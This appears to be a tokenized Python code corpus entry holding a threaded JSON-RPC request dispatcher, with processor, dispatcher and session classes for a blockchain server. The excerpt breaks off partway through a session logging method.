"\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Processor_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Processor_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "threading_", "._", "Thread_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "daemon_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dispatcher_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "queue_", "=_", "queue_", "._", "Queue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Processor_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "process_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Processor_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "request_", "(_", "self_", ",_", "session_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "queue_", "._", "put_", "(_", "(_", "session_", ",_", "request_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Processor_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "push", "\\u", "response_", "(_", "self_", ",_", "session_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "\"", "response", "\",", " ", "response_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "dispatcher_", "._", "request", "\\u", "dispatcher_", "._", "push", "\\u", "response_", "(_", "session_", ",_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Processor_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Processor_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "not_", "self_", "._", "shared_", "._", "stopped_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", ",_", "request_", "=_", "self_", "._", "queue_", "._", "get_", "(_", "True_", ",_", "timeout_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "\\u", "id_", "=_", "request_", "._", "get_", "(_", "'", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "session_", "._", "stopped_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "process_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "push", "\\u", "response_", "(_", "session_", ",_", "{_", "'", "id", "'_", ":_", "msg", "\\u", "id_", ",_", "'", "result", "'_", ":_", "result_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Base", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "push", "\\u", "response_", "(_", "session_", ",_", "{_", "'", "id", "'_", ":_", "msg", "\\u", "id_", ",_", "'", "error", "'_", ":_", "str_", "(_", "e_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "\"", "process", " ", "error", "\"_", ",_", "exc", "\\u", "info_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "push", "\\u", "response_", "(_", "session_", ",_", "{_", "'", "id", "'_", ":_", "msg", "\\u", "id_", ",_", "'", "error", "'_", ":_", "'", "unknown", " ", "error", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Dispatcher_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Dispatcher_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "shared_", "=_", "Share", "d_", "(_", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "request", "\\u", "dispatcher_", "=_", "Request", "Dispatcher_", "(_", "self_", "._", "shared_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "request", "\\u", "dispatcher_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "response", "\\u", "dispatcher_", "=_", "Respons", "e", "Dispatcher_", "(_", "self_", "._", "shared_", ",_", "self_", "._", "request", "\\u", "dispatcher_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "response", "\\u", "dispatcher_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dispatcher_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "register_", "(_", "self_", ",_", "prefix_", ",_", "processor_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "processor_", "._", "dispatcher_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "processor_", "._", "shared_", "=_", "self_", "._", "shared_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "processor_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "request", "\\u", "dispatcher_", "._", "processors_", "[_", "prefix_", "]_", "=_", "processor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "shared_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "shared_", "=_", "shared_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "threading_", "._", "Thread_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "daemon_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "request", "\\u", "queue_", "=_", "queue_", "._", "Queue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "response", "\\u", "queue_", "=_", "queue_", "._", "Queue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "lock_", "=_", "threading_", "._", "Lock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "idl", "ock_", "=_", "threading_", "._", "Lock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sessions_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "processors_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "gc_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "push", "\\u", "response_", "(_", "self_", ",_", "session_", ",_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "response", "\\u", "queue_", "._", "put_", "(_", "(_", "session_", ",_", "item_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pop", "\\u", "response_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "response", "\\u", "queue_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "push", "\\u", "request_", "(_", "self_", ",_", "session_", ",_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "request", "\\u", "queue_", "._", "put_", "(_", "(_", "session_", ",_", "item_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pop", "\\u", "request_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "request", "\\u", "queue_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "session", "\\u", "by", "\\u", "address_", "(_", "self_", ",_", "address_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", "in_", "self_", "._", "sessions_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "._", "address_", "==_", "address_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "shared_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "self", ".", "shared", " ", "not", " ", "set", " ", "in", " ", "Process", "or", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "not_", "self_", "._", "shared_", "._", "stopped_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", ",_", "request_", "=_", "self_", "._", "pop", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "do", "\\u", "dispatch_", "(_", "session_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "'", "dispatch", "'_", ",_", "exc", "\\u", "info_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "dispatch_", "(_", "self_", ",_", "session_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "dispatch", " ", "request", " ", "to", " ", "the", " ", "rele", "van", "t", " ", "process", "or", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "request_", "[_", "'", "method", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "request_", "._", "get_", "(_", "'", "params", "'_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "suffix_", "=_", "method_", "._", "split_", "(_", "'.'_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "session_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "suffix_", "==_", "'", "subscribe", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "session_", "._", "subscribe", "\\u", "to", "\\u", "service_", "(_", "method_", ",_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prefix_", "=_", "request_", "[_", "'", "method", "'_", "]_", "._", "split_", "(_", "'.'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "processors_", "[_", "prefix_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "log_", "(_", "\"", "error", ":", " ", "no", " ", "process", "or", " ", "for", "\"_", ",_", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "._", "add", "\\u", "request_", "(_", "session_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "method_", "in_", "[_", "'", "server", ".", "version", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", "._", "version_", "=_", "params_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "._", "protoc", "ol", "\\u", "version_", "=_", "float_", "(_", "params_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "sessions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "self_", "._", "sessions_", "._", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "session_", "(_", "self_", ",_", "session_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "session_", "._", "key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sessions_", "[_", "key_", "]_", "=_", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Request", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "\\u", "session_", "(_", "self_", ",_", "session_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "session_", "._", "key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "sessions_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Session_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Deb", "ugg", "ing", " ", "method", ".", " ", "Do", "esn", "'", "t", " ", "need", " ", "to", " ", "be", " ", "thread", "safe", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Session_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "dispatcher_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "dispatcher_", "=_", "dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bp_", "=_", "self_", "._", "dispatcher_", "._", "processors_", "[_", "'", "blockchain", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stopped_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "lock_", "=_", "threading_", "._", "Lock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "subscriptions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "address_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "version_", "=_", "'", "unknown", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "protoc", "ol", "\\u", "version_", "=_", "0._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "time_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "max", "\\u", "subscriptions_", "=_", "dispatcher_", "._", "shared_", "._", "config_", "._", "getint_", "(_", "'", "server", "'_", ",_", "'", "max", "\\u", "subscript", "ion", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "threading_", "._", "Timer_", "(_", "2_", ",_", "self_", "._", "info_", ")_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Session_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "address_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Session_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "subscriptions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "log_", 